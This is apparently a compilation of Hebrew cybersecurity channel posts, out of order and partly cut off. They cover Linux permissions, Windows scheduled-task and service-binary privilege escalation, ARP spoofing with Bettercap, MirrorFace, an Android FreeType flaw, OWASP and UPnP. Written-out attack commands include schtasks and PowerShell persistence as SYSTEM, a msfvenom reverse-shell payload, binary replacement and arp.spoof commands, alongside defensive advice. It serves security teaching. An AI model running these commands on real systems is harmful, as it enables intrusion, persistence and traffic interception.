Cyber & Code

🛡🔒 לינוקס בשליטה: הרשאות קבצים, משתמשים והדרך ל-root! 👑🔓 היום נצלול לעומק אחד הנושאים הבסיסיים אך הקריטיים ביותר במערכת ההפעלה לינוקס: הרשאות קבצים ומשתמשים. נבין איך המנגנון הזה עובד, למה הוא כל כך חשוב לאבטחת מידע, ואיך הגדרות שגויות יכולות לפתוח דלת לתוקפים להסלמת הרשאות (Privilege Escalation) – כלומר, להפוך ממשתמש רגיל למשתמש-על (root) עם שליטה מלאה במערכת! 😈💻 --- ### 🧐 חלק 1: הרשאות בלינוקס – הרקע התיאורטי בליבת כל מערכת לינוקס נמצא מנגנון הרשאות מתוחכם שקובע מי יכול לעשות מה עם כל קובץ ותיקייה. זה כמו שומר סף קפדן לכל פיסת מידע. מי מקבל הרשאות? 🙋‍♂️👥🌍 כל קובץ או תיקייה משויכים לשלוש ישויות: 1. בעלים (Owner): המשתמש שיצר את הקובץ או התיקייה. 2. קבוצה (Group): קבוצת משתמשים שהקובץ משויך אליה. מאפשר שיתוף פעולה מבוקר. 3. אחרים (Others/World): כל שאר המשתמשים במערכת. אילו הרשאות קיימות? 📖✍️🏃 לכל אחת מהישויות הללו, ניתן להגדיר שלוש הרשאות בסיסיות: * קריאה (r - read): * לקובץ: מאפשרת לצפות בתוכן הקובץ. * לתיקייה: מאפשרת לראות את רשימת הקבצים והתיקיות בתוכה. * ערך מספרי: 4 * כתיבה (w - write): * לקובץ: מאפשרת לשנות את תוכן הקובץ. * לתיקייה: מאפשרת ליצור, למחוק או לשנות שמות של קבצים ותיקיות בתוכה. * ערך מספרי: 2 * הרצה (x - execute): * לקובץ: מאפשרת להריץ את הקובץ (אם הוא קובץ הרצה, כמו סקריפט או תוכנה). * לתיקייה: מאפשרת להיכנס לתוכה (למשל, באמצעות פקודת cd). * ערך מספרי: 1 📊 דוגמה להרשאות: rw-r--r-- * בעלים (rw-): יכול לקרוא ולכתוב (4+2=6). * קבוצה (r--): יכולה רק לקרוא (4). * אחרים (r--): יכולים רק לקרוא (4). המחרוזת המלאה תיראה כך (התו הראשון מציין סוג קובץ, '-' לקובץ רגיל): -rw-r--r-- 🕵️ פיצוח הפלט של `ls -l`: כשמקלידים ls -l בטרמינל, מקבלים רשימה מפורטת. בואו נפרק אותה: drwxr-xr-x 2 john users 4096 May 07 10:30 MyDirectory -rw-rw---- 1 jane staff 1024 May 06 15:00 report.txt * d או -: סוג הקובץ. d = תיקייה (Directory), - = קובץ רגיל. יש גם l (קישור סימבולי), b (התקן בלוק), c (התקן תו), s (שקע), p (צינור). * rwxr-xr-x: ההרשאות (3 קבוצות של rwx). * 2 או 1: מספר הקישורים הקשיחים (hard links) לקובץ. * john או jane: הבעלים של הקובץ/תיקייה. * users או staff: הקבוצה שהקובץ/תיקייה משויכים אליה. * 4096 או 1024: גודל הקובץ בבתים. * May 07 10:30: תאריך ושעת השינוי האחרון. * MyDirectory או report.txt: שם הקובץ/תיקייה. 🔧 שינוי הרשאות עם `chmod`: הפקודה chmod (change mode) מאפשרת לשנות הרשאות. השיטה הנפוצה היא באמצעות מספרים (הסכום של ערכי r, w, x): * chmod 777 filename ➡️ rwxrwxrwx (הרשאות מלאות לכולם - מסוכן מאוד! 🚨) * 7 (בעלים) = 4 (קריאה) + 2 (כתיבה) + 1 (הרצה) * 7 (קבוצה) = 4+2+1 * 7 (אחרים) = 4+2+1 * chmod 644 filename ➡️ rw-r--r-- (בעלים קורא/כותב, אחרים קוראים בלבד - נפוץ לקבצי אינטרנט). * chmod 755 directoryname ➡️ rwxr-xr-x (בעלים הכל, אחרים קוראים/מריצים - נפוץ לתיקיות ותוכנות). ✨ הרשאות מיוחדות: SUID ו-SGID – המפתחות הנסתרים! אלו הרשאות עוצמתיות ולכן גם מסוכנות אם לא מנוהלות נכון: * SUID (Set User ID): * כשמוגדר על קובץ הרצה, הקובץ ירוץ תמיד עם ההרשאות של הבעלים של הקובץ, ולא של המשתמש שהריץ אותו. * מסומן כ-s במקום ה-x של הבעלים (לדוגמה, rwsr-xr-x). * דוגמה קלאסית: הפקודה passwd. משתמש רגיל צריך לשנות את סיסמתו (ששמורה בקובץ ששייך ל-root), ולכן passwd רצה עם הרשאות root. * SGID (Set Group ID): * על קובץ הרצה: הקובץ ירוץ עם ההרשאות של הקבוצה שהקובץ משויך אליה. * על תיקייה: כל קובץ/תיקייה חדשים שייווצרו בתוך התיקייה הזו יקבלו אוטומטית את השיוך הקבוצתי של התיקייה האם (ולא של יוצר הקובץ). שימושי לתיקיות שיתופיות. * מסומן כ-s במקום ה-x של הקבוצה (לדוגמה, rwxr-sr-x). 🚨 השלכות אבטחה ראשוניות: הרשאות חלשות (כמו 777 לקבצים חשובים), בעלות לא נכונה על קבצים, או שימוש לא זהיר ב-SUID/SGID הם מתכון לאסון. הם מאפשרים למשתמשים לא מורשים לקרוא מידע רגיש, לשנות קבצי מערכת, או אפילו להריץ קוד עם הרשאות גבוהות יותר. --- ### ⚔️ חלק 2: פרקטיקה – איך תוקפים מנצלים הרשאות (והסלמת הרשאות!) עכשיו לחלק המעניין יותר לתוקפים (ולא פחות חשוב למגנים להבין!): איך טעויות בהגדרת הרשאות יכולות להוביל להסלמת הרשאות? המטרה של תוקף היא להפוך ממשתמש מוגבל למשתמש root (או משתמש עם הרשאות גבוהות אחרות).

🔹 MirrorFace – מתקפה סינית נגד יפן וטאיוואן  📌 קבוצת תקיפה סינית בשם MirrorFace ביצעה מתקפה סייבר נגד סוכנויות ממשלתיות ביפן ובטאיוואן.  📌 המתקפה כללה שימוש בROAMINGMOUSE, דרופר מבוסס Excel, שהוריד את הדלת האחורית ANEL.  📌 ההתקפה התחילה עם קישור OneDrive אמיתי, שהוביל להורדת קובץ ZIP עם קובץ Excel זדוני.  🔹 איך המתקפה עבדה?  ✅ שליחת מיילים ממוקדים (Spear-Phishing) – המיילים הכילו קישור OneDrive אמיתי להורדת קובץ ZIP 📜  ✅ הפעלת ROAMINGMOUSE – קובץ ה-Excel הכיל מאקרו זדוני שהוריד והפעיל את הדלת האחורית ANEL 💉  ✅ שימוש ב-DLL Sideloading – התוקפים השתמשו בקובץ ANELLDR כדי להפעיל את ANEL דרך קובץ מערכת לגיטימי 📡  ✅ גישה עמוקה למערכת – לאחר ההתקנה, התוקפים אספו צילומי מסך, רשימות תהליכים ומידע על הדומיין 🚨  🔹 מה חדש ב-ANEL?  📌 פקודה חדשה להרצת BOF (Beacon Object File) – מאפשר לתוקפים להרחיב את יכולות ההתקפה.   📌 שימוש ב-SharpHide – כלי פתוח שמאפשר להפעיל את הדלת האחורית NOOPDOOR (aka HiddenFace).  📌 שיפור בהסתרת הפעילות – התוקפים מוחקים קבצים, מנקים לוגים ומריצים את הקוד בתוך Windows Sandbox.  📜 למידע נוסף ניתן לקרוא כאן  💬 הצטרפו לקבוצת CyberSecurityCoding כדי ללמוד על אבטחת מידע וסייבר 🚀🔐 

הגנה: * ביקורת משימות סדירה (Regular Task Audits): * בדקו באופן קבוע את רשימת המשימות המתוזמנות (taskschd.msc או schtasks /query). * חפשו משימות עם שמות חשודים, משימות ללא תיאור, משימות שמריצות קבצים ממיקומים לא שגרתיים (כמו Temp, תיקיות משתמש), או משימות שנוצרו לאחרונה ולא מוכרות. * שימו לב במיוחד למשימות שרצות בהרשאות גבוהות (SYSTEM, Administrator). * עקרון ההרשאה המינימלית (Least Privilege Principle): * הגבילו את היכולת של משתמשים רגילים ליצור משימות מתוזמנות או לשנות משימות קיימות. * ודאו שמשימות רצות עם ההרשאות המינימליות הנדרשות להן. * ניטור יומני מתזמן המשימות (Monitoring Task Scheduler Logs): * אפשרו ונטרו את יומן האירועים של מתזמן המשימות: Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational. * אירועים חשובים: * Event ID 106: משימה נרשמה (נוצרה). * Event ID 140: משימה עודכנה. * Event ID 141: משימה נמחקה. * Event ID 200: פעולה החלה (הפעלת משימה). * Event ID 201: פעולה הושלמה. * שימו לב לשינויים לא מורשים או פעילות חריגה. * File Integrity Monitoring: נטרו שינויים בקבצים המופעלים על ידי משימות קריטיות. --- 💡 סיכום ומחשבות נוספות: הבנה של טכניקות כמו Service Binary Hijacking וניצול משימות מתוזמנות חיונית לאנשי אבטחת מידע, הן מהצד ההתקפי (כדי להבין את וקטורי התקיפה) והן מהצד ההגנתי (כדי ליישם הגנות אפקטיביות). תוקפים ימשיכו לחפש דרכים יצירתיות להשתמש במנגנונים לגיטימיים של מערכת ההפעלה למטרות זדוניות. עירנות, ניטור קפדני, והקפדה על הגדרות אבטחה נכונות הם המפתח לצמצום הסיכונים. מקווה שהמדריך הזה היה מקיף ושימושי! אם יש שאלות, תרגישו חופשי לשאול. 👇 הצטרפו לערוץ @CYBERSECURITYCODING

הגנה: * עקרון ההרשאה המינימלית (Least Privilege): ודאו שרק משתמשים מורשים (לרוב אדמיניסטרטורים) יכולים לשנות קבצי מערכת ותיקיות קריטיות. * Quoting Service Paths: ודאו שכל נתיבי השירותים המכילים רווחים מוקפים במירכאות כפולות. * ניטור שינויים: נטרו שינויים בקבצי הפעלה של שירותים והגדרות שירותים. * Application Whitelisting: מנעו הרצה של קבצים לא מאושרים. --- ### 📅 משימות מתוזמנות (Scheduled Tasks): לוח הזמנים של התוקף 📅 רקע תיאורטי: 🤔 מהן משימות מתוזמנות? משימות מתוזמנות ב-Windows הן כלי המאפשר למערכת או למשתמשים להריץ סקריפטים, תוכניות או פקודות באופן אוטומטי בזמנים קבועים או בתגובה לאירועים מסוימים (למשל, כניסת משתמש למערכת, הדלקת המחשב, אירוע ספציפי ב-Event Log). השירות האחראי לכך הוא "Task Scheduler". ⚙️ איך הן עובדות? משימה מתוזמנת מורכבת מכמה חלקים עיקריים: * טריגר (Trigger): מה גורם למשימה לרוץ (זמן, אירוע). * פעולה (Action): מה המשימה עושה (מריצה קובץ EXE, סקריפט וכו'). * הקשר אבטחה (Security Context): תחת איזה חשבון משתמש המשימה רצה (למשל, SYSTEM, משתמש ספציפי). 🔒 השלכות אבטחת מידע (כשהן מנוצלות לרעה): * התמדה (Persistence): הדרך הקלאסית של תוקפים להבטיח שהקוד הזדוני שלהם ירוץ שוב ושוב, גם לאחר אתחול המערכת. * הסלמת הרשאות (Privilege Escalation): אם תוקף מצליח לשנות משימה שרצה בהרשאות גבוהות (כמו SYSTEM) או ליצור משימה חדשה שתרוץ בהרשאות אלו, הוא יכול להסלים את הרשאותיו. * הפעלת קוד מרחוק (Remote Code Execution): במקרים מסוימים, אם ניתן לשלוט על קובץ שמשימה מתוזמנת מריצה ממקור חיצוני (כמו שיתוף רשתי). * התחמקות (Evasion): משימות מתוזמנות הן חלק לגיטימי ממערכת ההפעלה, ולכן פעילות זדונית דרכן עלולה להיות פחות חשודה. --- פרקטיקה: איך תוקפים מנצלים משימות מתוזמנות? 🗓👨‍💻 1. דריסת משימה קיימת (Task Overwrite/Modification): * איתור משימות פגיעות: * התוקף יחפש משימות קיימות שניתן לשנות. עדיפות למשימות שרצות בהרשאות גבוהות. * כלים: * ממשק ה-GUI של "Task Scheduler" (חפשו taskschd.msc). * פקודת schtasks /query /fo LIST /v תציג מידע מפורט על כל המשימות, כולל הקובץ שהן מריצות ("Task To Run") והמשתמש שהן רצות תחתיו ("Run As User"). * PowerShell: Get-ScheduledTask | Get-ScheduledTaskInfo * התוקף יבדוק אם יש לו הרשאות כתיבה על קובץ ה-EXE שהמשימה מריצה, או הרשאות לשנות את הגדרות המשימה עצמה (למשל, לשנות את הנתיב לקובץ ההפעלה). ניתן להשתמש ב-icacls על קובץ ה-EXE. * החלפת קובץ ההפעלה: אם לתוקף יש הרשאת כתיבה על הקובץ שהמשימה מריצה, הוא יכול להחליף אותו בקובץ זדוני בעל אותו שם. * שינוי הגדרות המשימה: אם לתוקף יש הרשאות לשנות את המשימה, הוא יכול לערוך אותה (דרך ה-GUI או schtasks /change) כדי שתצביע על הקובץ הזדוני שלו.

        schtasks /change /tn "SomeLegitTask" /tr "C:\path\to\malicious.exe"
        

2. יצירת משימה זדונית חדשה (Malicious Task Creation): * זו הדרך הנפוצה יותר. תוקפים פשוט יוצרים משימה חדשה שתריץ את הקוד הזדוני שלהם. * באמצעות `schtasks.exe`:

        REM יצירת משימה שתרוץ כל שעה כמשתמש SYSTEM
        schtasks /create /tn "StealthyWindowsUpdate" /tr "C:\Windows\Temp\evil.exe" /sc HOURLY /ru "SYSTEM" /f

        REM יצירת משימה שתרוץ בעת כניסת כל משתמש
        schtasks /create /tn "UserLogonScript" /tr "C:\Users\Public\evil_payload.exe" /sc ONLOGON /ru "SYSTEM" /f
        

* /tn: שם המשימה (רצוי שם שנשמע לגיטימי). * /tr: הנתיב לקובץ הזדוני. * /sc: תזמון (HOURLY, DAILY, ONLOGON, ONSTART וכו'). * /ru "SYSTEM": הרצה כמשתמש SYSTEM (דורש הרשאות אדמין ליצירת המשימה כך). * /f: לדרוס אם המשימה קיימת. * באמצעות PowerShell:

        $Action = New-ScheduledTaskAction -Execute "C:\path\to\malicious.exe"
        $Trigger = New-ScheduledTaskTrigger -AtLogon # או -Daily -At "3am" וכו'
        $Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
        Register-ScheduledTask -TaskName "MyStealthyTask" -Action $Action -Trigger $Trigger -Principal $Principal -Force
        

* הסתרה: תוקפים עשויים לנסות להסתיר את המשימה על ידי מתן שם שנראה לגיטימי או על ידי שינוי ישיר של קבצי ה-XML של המשימות ב-C:\Windows\System32\Tasks (דורש הרשאות גבוהות מאוד וזהירות).

🎯 Service Binary Hijacking: להשתלט על שירותים תמימים 🎯 רקע תיאורטי: 🤔 מה זה Service Binary Hijacking? Service Binary Hijacking (או Unquoted Service Path Hijacking, אם נדייק באחד התסריטים הנפוצים) היא טכניקת הסלמת הרשאות והתמדה במערכת Windows. היא מתבססת על ניצול קונפיגורציה לקויה של שירותי מערכת (Services). שירותי Windows הם תוכניות שרצות ברקע, לרוב עם הרשאות גבוהות (כמו SYSTEM), ומבצעות משימות חיוניות. ⚙️ איך זה עובד? הרעיון המרכזי הוא להחליף את קובץ ההפעלה (binary/executable) הלגיטימי של שירות מסוים בקובץ זדוני. כאשר השירות יופעל (לדוגמה, בעת עליית המערכת או ידנית), הוא יריץ את הקובץ הזדוני שלנו, לרוב בהרשאות הגבוהות של השירות המקורי. ישנם שני תרחישים עיקריים: 1. הרשאות כתיבה על קובץ השירות: אם לתוקף יש הרשאת כתיבה על קובץ ה-EXE של השירות, הוא יכול פשוט להחליף אותו. 2. Unquoted Service Path: אם נתיב הקובץ של השירות בהגדרות מכיל רווחים ואינו מוקף במירכאות כפולות (למשל, C:\Program Files\Some Folder\service.exe), מערכת Windows עשויה לנסות להריץ קבצים אחרים בנתיב. לדוגמה, אם קיים קובץ בשם C:\Program.exe, המערכת עלולה להריץ אותו במקום את השירות המקורי. אם לתוקף יש הרשאת כתיבה לתיקייה C:\, הוא יכול לשתול שם קובץ Program.exe זדוני. 🔒 השלכות אבטחת מידע: * הסלמת הרשאות (Privilege Escalation): אם השירות המנוצל רץ בהקשר של משתמש עם הרשאות גבוהות (כמו LocalSystem, NetworkService), הקוד הזדוני ירוץ באותן הרשאות. זה מאפשר לתוקף להשתלט על המערכת. * התמדה (Persistence): שירותים מופעלים אוטומטית עם עליית המערכת. החלפת קובץ השירות מבטיחה שהקוד הזדוני ירוץ בכל פעם שהמחשב יופעל מחדש, מה שמקנה לתוקף גישה קבועה למערכת. * התחמקות (Evasion): הרצת קוד זדוני תחת תהליך שירות לגיטימי יכולה לעזור להתחמק ממערכות ניטור והגנה מסוימות, מכיוון שהפעילות עשויה להיראות כשייכת לשירות לגיטימי. --- פרקטיקה: איך תוקפים מנצלים Service Binary Hijacking? 🕵️‍♂️💻 1. איתור שירותים פגיעים: * בדיקת הרשאות על קבצי שירות: * ראשית, נאתר את הנתיב לקובץ ההפעלה של שירותים שונים. ניתן להשתמש בפקודה sc qc <ServiceName> (לדוגמה, sc qc VulnSvc). * לאחר מכן, נבדוק אם למשתמש הנוכחי (או לקבוצת משתמשים שהוא חבר בה, כמו "Authenticated Users" או "Users") יש הרשאות כתיבה על הקובץ הזה. כלים כמו accesschk.exe (מ-Sysinternals) או הפקודה icacls "C:\Path\To\Service.exe" יכולים לעזור:

            accesschk.exe -uwcqv "Authenticated Users" "C:\Program Files\Vulnerable Service\service.exe"
            icacls "C:\Program Files\Vulnerable Service\service.exe"
            

אם הפלט מראה הרשאות כתיבה (למשל, (W), (M), (F)), השירות פגיע. * בדיקת Unquoted Service Paths: * נשתמש ב-WMIC או PowerShell כדי לאתר שירותים עם נתיבים לא מוקפים במירכאות:

            wmic service get name, pathname, displayname, startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
            

* לאחר איתור שירות כזה, נבדוק אם יש לנו הרשאות כתיבה לאחת מהתיקיות בנתיב. לדוגמה, אם הנתיב הוא C:\Program Files\Some App\service.exe, נבדוק הרשאות כתיבה ל-C:\ (כדי לשתול Program.exe) או ל-C:\Program Files\ (כדי לשתול Some.exe). 2. יצירת קובץ זדוני (Payload): * התוקף ייצור קובץ הפעלה זדוני (למשל, reverse shell, keylogger, או כל כלי אחר). אפשר להשתמש בכלים כמו msfvenom (חלק מ-Metasploit):

        msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP_תוקף> LPORT=<PORT_תוקף> -f exe -o malicious_service.exe
        

* חשוב שהקובץ הזדוני יהיה בעל אותו שם כמו קובץ השירות הלגיטימי שאותו מחליפים (או שם מתאים ל-Unquoted Path Hijacking, כמו Program.exe). 3. החלפת הקובץ הלגיטימי: * אם השירות רץ, יהיה צורך לעצור אותו תחילה (אם יש הרשאות לכך): sc stop <ServiceName>. * לאחר מכן, התוקף ישתמש בהרשאות הכתיבה כדי להחליף את הקובץ הלגיטימי בקובץ הזדוני. לדוגמה:

        copy /Y C:\path\to\malicious_service.exe "C:\Program Files\Vulnerable Service\service.exe"
        

* במקרה של Unquoted Path, התוקף ישתול את הקובץ במיקום המתאים (למשל, copy /Y C:\path\to\Program.exe C:\Program.exe). 4. הפעלת השירות (או אתחול מחדש): * התוקף יפעיל מחדש את השירות: sc start <ServiceName>. * לחלופין, אם השירות מוגדר להתחיל אוטומטית, הקוד הזדוני ירוץ לאחר אתחול המערכת הבא.

🔹 CVE-2025-27363 – חולשה קריטית באנדרואיד  📌 CVE-2025-27363 היא חולשה חמורה במערכת Android, הקשורה למנוע הגופנים FreeType.  📌 היא מאפשרת הרצת קוד זדוני ללא צורך באינטראקציה מצד המשתמש, כלומר אין צורך בלחיצה כדי שהמתקפה תתבצע 🚨  🔹 איך החולשה מנוצלת?  ✅ תוקפים יכולים להחדיר קובצי גופן (Font) זדוניים – למשל דרך PDF, אתר אינטרנט או אפליקציה 📜   ✅ בעת עיבוד הגופן, המערכת מבצעת כתיבה מחוץ לגבולות הזיכרון – מה שמאפשר לתוקף להריץ קוד זדוני 💉   ✅ החולשה קיימת בגרסאות ישנות של FreeType – למרות שתוקנה בגרסה 2.13.0, היא עדיין נמצאת במכשירים רבים 📡  🔹 מה עושים כדי להתגונן?  📌 עדכון מערכת אנדרואיד – גוגל פרסמה תיקון במאי 2025, ולכן מומלץ לעדכן את המכשיר מיד 🔄  📌 הימנעות מהורדת קבצים ממקורות לא מוכרים – במיוחד PDFים או אפליקציות שעלולות להכיל גופנים זדוניים ⚠️  📌 שימוש בגרסאות אנדרואיד חדשות – מכשירים עם Android 13 ומעלה מוגנים טוב יותר מפני חולשות כאלה 🔐  📜 למידע נוסף ניתן לקרוא כאן  💬 הצטרפו לקבוצת CyberSecurityCoding כדי להעשיר את הידע שלכם באבטחת מידע וסייבר 🚀🔐 

🔹 OWASP Top 10 – עשרת החולשות הקריטיות באבטחת מידע  OWASP (Open Web Application Security Project) הוא ארגון בינלאומי שמטרתו לשפר את אבטחת יישומי אינטרנט. אחת היוזמות המרכזיות שלו היא OWASP Top 10, רשימה שמתעדכנת באופן קבוע ומציגה את החולשות הקריטיות ביותר באבטחת מידע של אפליקציות אינטרנט 🔐  🔹 עשרת החולשות המרכזיות לפי OWASP  ✅ Broken Access Control – חולשה שמאפשרת למשתמשים לגשת למשאבים שהם לא אמורים לראות, כמו שינוי הרשאות או גישה למידע רגיש 🚨  ✅ Cryptographic Failures – כשמידע רגיש (כגון סיסמאות או פרטי תשלום) לא מוצפן כראוי, מה שמוביל לחשיפה של נתונים 📉  ✅ Injection – מתקפות שבהן תוקף מכניס קוד זדוני דרך קלט לא מאובטח, כמו SQL Injection או Cross-Site Scripting (XSS) 💉  ✅ Insecure Design – תכנון מערכת ללא מנגנוני אבטחה מספקים, מה שמוביל לבעיות אבטחה שאי אפשר לתקן רק עם קוד 🏗️  ✅ Security Misconfiguration – הגדרות אבטחה שגויות, כמו שימוש בסיסמאות ברירת מחדל או חשיפת מידע רגיש דרך קונפיגורציה לא נכונה ⚠️  ✅ Vulnerable and Outdated Components – שימוש בתוכנות ישנות עם חולשות ידועות, מה שמאפשר לתוקפים לנצל אותן 🛠️  ✅ Identification and Authentication Failures – כשמנגנוני אימות זהות אינם חזקים מספיק, מה שמאפשר כניסה לא מורשית למערכת 🔑  ✅ Software and Data Integrity Failures – כשלא בודקים את אמינות הקוד והנתונים, מה שמאפשר לתוקפים לשנות מידע או להחדיר קוד זדוני 📜  ✅ Security Logging and Monitoring Failures – חוסר מעקב אחר אירועי אבטחה, מה שמקשה על זיהוי מתקפות בזמן אמת 🔍  ✅ Server-Side Request Forgery (SSRF) – מתקפה שבה תוקף מנצל את השרת כדי לשלוח בקשות לא מורשות למערכות פנימיות 🌐  📜 למידע נוסף על OWASP Top 10 ניתן לבדוק את המקור הרשמי  💬 הצטרפו לקבוצת CyberSecurityCoding כדי להעשיר את הידע שלכם באבטחת מידע וסייבר 🚀🔐 

🔹 UPnP (Universal Plug and Play) – פרוטוקול תקשורת לחיבור אוטומטי של מכשירים ברשת  UPnP הוא טכנולוגיה שמאפשרת למכשירים להתחבר אוטומטית זה לזה ברשת ללא צורך בהגדרות ידניות, מה שמקל על שימוש בתקשורת בין מחשבים, נתבים, מצלמות רשת, מדפסות ועוד 💻📡  🔹 מה פורט UPnP עושה?  ✅ פותח פורטים אוטומטית – מאפשר למכשירים לשלוח ולקבל מידע בלי צורך להגדיר ידנית 🎯  ✅ משמש למשחקים מקוונים – UPnP מאפשר למשחקים כמו Call of Duty ו-Fortnite לתקשר טוב יותר עם שרתים, ולהימנע מבעיות NAT Type 🎮🔄  ✅ חיבור מהיר של מכשירים – נתבים, מצלמות אבטחה, מדפסות, סטרימרים מתחברים אוטומטית לרשת 🖥️🔌   ✅ שיתוף תוכן במדיה – סטרימינג של וידאו ומוזיקה דרך מכשירים ברשת, כמו Chromecast, עובד בעזרת UPnP 📺🎶  ✅ חיבור מאובטח לרשתות פרטיות – מאפשר למערכות לגשת למידע בשרתים פנימיים 🌍🔐  🔹 ⚠️ סיכוני אבטחה של UPnP  ❌ פרצות וחדירות לרשת – בגלל ש-UPnP מאפשר פתיחת פורטים באופן אוטומטי, האקרים יכולים לנצל זאת לתקיפות 🚨  ❌ גישה בלתי מורשית – אם המכשירים שלך משתמשים ב-UPnP ללא בקרה, תוקפים יכולים להתחבר למכשירים שלך ללא ידיעתך ⚠️  ❌ זיהום קבצים דרך הרשת – UPnP יכול לשמש להפצת תוכנות זדוניות בין מכשירים מחוברים 🤖☠️  ❌ המלצה – מומלץ לבטל UPnP אם אין בו צורך ולנהל פורטים באופן ידני כדי למנוע סיכוני אבטחה 🔐  הצטרפו לקבוצה: CyberSecurityCoding כדי להעשיר את הידע שלכם בסייבר ובניהול רשתות 🚀🔐 

get arp.spoof.* הפעלת ההתקפה: Bash arp.spoof on ברגע שהפקודה רצה, Bettercap מתחיל לשלוח את הודעות ה-ARP המזויפות, וממקם את עצמו כ-Man-in-the-Middle עבור היעדים שהוגדרו. מכאן, אפשר להפעיל מודולים נוספים ב-Bettercap (כמו net.sniff ליירוט תעבורה) כדי לנצל את המיקום הזה. 📝 סיכום: יARP Spoofing היא התקפה חזקה המנצלת חולשה בסיסית בפרוטוקול ARP כדי להשתלט על תעבורת הרשת המקומית. היא מאפשרת לתוקף להיות "האיש שבאמצע" (MitM), מה שפותח פתח למגוון פעילויות זדוניות כמו ריגול, גניבת מידע ושיבוש התקשורת. כלים כמו Bettercap הופכים את הביצוע שלה לנגיש יחסית (לחוקרי אבטחה וגם לתוקפים). הבנה של אופן הפעולה שלה חיונית כדי לדעת כיצד להתגונן (באמצעות כלים לזיהוי ARP Spoofing, הגדרות רשת מאובטחות יותר כמו DAI - Dynamic ARP Inspection בארגונים, או שימוש ב-VPN גם ברשת הפנימית). מקווה שהמאמר הזה סיפק לכם הבנה מעמיקה יותר על ARP Spoofing! 🛡️💡 יש שאלות? רעיונות לנושאים נוספים? שתפו בתגובות! 👇 הצטרפו לערוץ @CYBERSECURITYCODING

י🎭 ARP Spoofing: להתחזות לשכן ברשת (!) 🎭 היום נדבר על אחת מהתקפות הרשת הקלאסיות והיעילות ביותר ברשתות מקומיות (LAN) - ARP Spoofing (או זיוף ARP). דמיינו שמישהו יכול להתמקם ביניכם לבין שאר העולם הדיגיטלי, לקרוא, לשנות ואפילו לחסום את כל מה שאתם שולחים ומקבלים, בלי שתדעו! 😱 נשמע מפחיד? זה בדיוק מה ש-ARP Spoofing מאפשר. בואו נבין איך זה עובד, מה ההשלכות, ואיך תוקפים (וחוקרי אבטחה) משתמשים בזה בפועל. 🕵️‍♂️ 🤔 רקע תיאורטי: מה זה ARP בכלל ולמה אפשר "לזייף" אותו? יARP (Address Resolution Protocol): זהו פרוטוקול בסיסי וחיוני ברשתות Ethernet (רוב הרשתות הקוויות וה-WiFi הביתיות/ארגוניות שלנו). תפקידו הוא לתרגם בין כתובות לוגיות (כתובות IP - כמו "192.168.1.10") לכתובות פיזיות (כתובות MAC - כמו "00:1A:2B:3C:4D:5E"). חשבו על זה כמו ספר טלפונים 📖 של הרשת המקומית: מכשיר רוצה לדבר עם IP מסוים, הוא שואל ברשת "מי מחזיק ב-IP הזה?" (ARP Request), והמכשיר המתאים עונה "אני, והנה כתובת ה-MAC שלי" (ARP Reply). איך הזיוף (Spoofing) עובד? כאן נכנסת הבעיה: פרוטוקול ARP המקורי תוכנן מתוך מחשבה על יעילות ולא על אבטחה. הוא לא מאמת מי שולח את תשובות ה-ARP! 😟 תוקף ברשת המקומית יכול לנצל זאת: שליחת תשובות ARP מזויפות: התוקף שולח הודעות ARP Reply שקריות למחשב היעד (למשל, המחשב שלך) ו/או לשער הגישה (הראוטר). הרעלת ה-ARP Cache: ההודעות המזויפות גורמות ליעד ולראוטר לעדכן את "ספר הטלפונים" הפנימי שלהם (ARP Cache) במידע שגוי. לדוגמה: התוקף אומר למחשב שלך: "ה-MAC של הראוטר (192.168.1.1) הוא בעצם ה-MAC שלי". התוקף אומר לראוטר: "ה-MAC של המחשב שלך (192.168.1.10) הוא בעצם ה-MAC שלי". התוצאה = Man-in-the-Middle (MitM): כל התעבורה שאתה חושב שאתה שולח ישירות לראוטר (וממנו לאינטרנט), וכל התעבורה שהראוטר חושב שהוא שולח ישירות אליך – עוברת דרך המחשב של התוקף! 🚶‍♂️✉️🚶‍♀️ -> 🚶‍♂️😈🚶‍♀️ 🔒 השלכות אבטחת מידע: להתקפת ARP Spoofing יש השלכות חמורות: יירוט מידע (Sniffing): התוקף יכול לקרוא את כל התעבורה הלא מוצפנת שעוברת דרכו (שמות משתמש, סיסמאות, קבצים, הודעות וכו'). sniffing 👃 שינוי מידע (Manipulation): התוקף יכול לשנות מידע "על הדרך", למשל להזריק קוד זדוני לדפי אינטרנט, לשנות הורדות קבצים ועוד. 💉 חטיפת שיחה (Session Hijacking): התוקף יכול לגנוב "Session Cookies" ולאפשר לו להתחזות למשתמש באתרים ושירותים. 🍪 מניעת שירות (Denial of Service - DoS): התוקף יכול פשוט לחסום את התעבורה ולא לאפשר למשתמש לגשת לרשת או לאינטרנט. 🚫🌐 🛠️ פרקטיקה: ARP Spoofing עם Bettercap אחרי שהבנו את התיאוריה, בואו נראה איך זה נראה בפועל. אחד הכלים הפופולריים והחזקים ביותר לביצוע (ולמידה על) התקפות MitM, כולל ARP Spoofing, הוא Bettercap. 🎩✨ מה זה Bettercap? זוהי מסגרת (framework) עוצמתית ורב-תכליתית לבדיקות חדירות רשת, סריקה, וביצוע התקפות שונות. מודול arp.spoof: זה המודול הספציפי ב-Bettercap שאחראי על ביצוע התקפת ARP Spoofing. איך משתמשים בו? (שימו לב: הפעלת כלים כאלה דורשת הרשאות גבוהות (root) וצריכה להיעשות אך ורק ברשתות שבבעלותכם או באישור מפורש, למטרות לימוד ומחקר אתיים!) ⚠️ הפעלת Bettercap: Bash sudo bettercap הגדרת פרמטרים (אופציונלי אך מומלץ): לפני שמפעילים את ההתקפה, כדאי להגדיר אותה. הנה כמה פרמטרים חשובים: set arp.spoof.targets <IP_ADDRESSES>: קובע את מי אנחנו רוצים לתקוף אפשר לציין IP בודד, רשימת IP מופרדת בפסיקים, או טווח (למשל 192.168.1.100, 192.168.1.10-50). ברירת המחדל היא כל הרשת (<entire subnet>). יset arp.spoof.targets 192.168.1.105 (לתקוף רק מחשב אחד) set arp.spoof.fullduplex <true/false>: האם לתקוף גם את היעד וגם את הראוטר (true) או רק את היעד (false)? ברירת המחדל היא false. הגדרת true מבטיחה תקיפת MitM מלאה (דו-כיוונית). set arp.spoof.fullduplex true set arp.spoof.internal <true/false>: האם לתקוף גם תעבורה פנימית בין מחשבים ברשת (true) או רק תעבורה אל/מ הראוטר (false)? ברירת המחדל היא false. set 